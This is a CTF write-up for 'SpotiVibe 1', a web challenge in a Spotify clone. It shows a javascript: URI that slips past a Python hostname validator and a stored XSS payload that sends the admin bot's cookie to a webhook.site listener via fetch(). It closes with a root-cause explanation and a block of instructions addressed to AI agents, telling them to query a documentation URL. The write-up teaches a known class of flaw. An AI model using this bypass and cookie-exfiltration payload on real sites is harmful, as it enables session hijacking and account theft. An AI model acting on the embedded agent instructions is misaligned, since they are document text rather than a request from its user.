# SpotiVibe 1 - K!nd4SUS CTF 2026

**Category:** Web | XSS **Vulnerability:** Stored XSS → Cookie Theft via Admin Bot

<figure><img src="/files/YHvC2tWjFHnCnmYqqI3I" alt=""><figcaption></figcaption></figure>

#### Overview

The app is a Spotify-clone where users can add songs (title + URL), view them, and report them to an admin bot. The flag lives in the admin bot's cookie. The goal: get the bot to execute our JavaScript.

**Attack Path: Diagram**

<figure><img src="/files/64PgM7v9Fip5eV1RBkcK" alt=""><figcaption></figcaption></figure>

### Step 1  Register & Explore

Created an account and logged in, then explored the navigation:&#x20;

**`HOME` · `DASHBOARD` · `ADD SONG` · `REPORT` · `LOGOUT`**

The **Add Song** page accepts a title and a Spotify URL.

### Step 2  Hit the Wall: URL Validation

Trying a classic XSS payload in the URL field:

```javascript
<img src=x onerror=alert(1)>
<script>print()</script>
```

Returns: **"Invalid host"**. Looking at the backend source code reveals why:

```python
def is_valid_spotify_url(url):
    decoded = unquote(url)
    parsed = urlparse(decoded)

    if parsed.hostname != "open.spotify.com":  # ← must match exactly
        return False
    if not parsed.path.startswith("/embed/"):  # ← path must begin with /embed/
        return False
    if '"' in decoded:                         # ← double quotes blocked
        return False
```

The `<img>` tag has no hostname, so `parsed.hostname = None`  it fails the first check immediately and never reaches the template renderer.

### Step 3  Bypass: The javascript: URI Trick

The key insight is that `javascript:` URIs are parsed differently by Python's `urlparse`. Using a `//hostname/path` structure after the scheme, the parser extracts `open.spotify.com` as the hostname satisfying all three checks.

A URL-encoded newline `%0a` acts as a separator, placing our JavaScript after the fake path:

```
javascript://open.spotify.com/embed/%0aalert(1)
```

| Validator Check                  | Value               | Pass? |
| -------------------------------- | ------------------- | ----- |
| `hostname == "open.spotify.com"` | `open.spotify.com`  | ✅     |
| `path.startswith("/embed/")`     | `/embed/%0aalert..` | ✅     |
| No `"` in URL                    | —                   | ✅     |

**Test it:**

* **Title:** `testing1`
* **URL:** `javascript://open.spotify.com/embed/%0aalert(1)`

<figure><img src="/files/9gS5VLWQX7VQFFjz1hvs" alt=""><figcaption></figcaption></figure>

Save the song, click it on saved ***testing***→ `alert(1)` fires. **Stored XSS confirmed.**

<figure><img src="/files/SOIpU435b9aCLNs5CbYE" alt=""><figcaption></figcaption></figure>

### Step 4  Weaponize: Steal the Admin Cookie

Set up a listener at [webhook.site](https://webhook.site) to catch the exfiltrated cookie.

Add a new song with the cookie-stealing payload:

* **Title:** `give me flag plz`
* **URL:**

```
javascript://open.spotify.com/embed/%0afetch('https://webhook.site/<YOUR-ID>/?c='+document.cookie)
```

<figure><img src="/files/YWPLVfA4Zob4I4UeiJ8l" alt=""><figcaption></figcaption></figure>

Save it. Navigate to **Dashboard** and note the song ID  in this case, **`441`**.

<figure><img src="/files/LCIwXkmMocK4dxHek2Gj" alt=""><figcaption></figcaption></figure>

### Step 5  Trigger the Admin Bot

Go to **Report** and submit song ID `441`.

<figure><img src="/files/xiiCMAB3lBeGuhod8QgS" alt=""><figcaption></figcaption></figure>

The admin bot visits `/song/441`. The `javascript:` URL fires in their browser, sending their cookie to the webhook.

Incoming webhook request:

<figure><img src="/files/0rK8B7QQbhgQkArIdPez" alt=""><figcaption></figcaption></figure>

```
GET /?c=flag=KSUS{4b4eba6646--SNIP--3d}
```

#### Root Cause

The validator correctly enforces the hostname but doesn't restrict the **URL scheme**. A `javascript:` URI is never fetched over the network — its hostname and path components are just cosmetic strings that trick the parser. The `%0a` newline then escapes the fake path into executable code.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://l1nuxkid.gitbook.io/l1nuxkid-docs/ctftime.org-writeups/spotivibe-1-k-nd4sus-ctf-2026.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
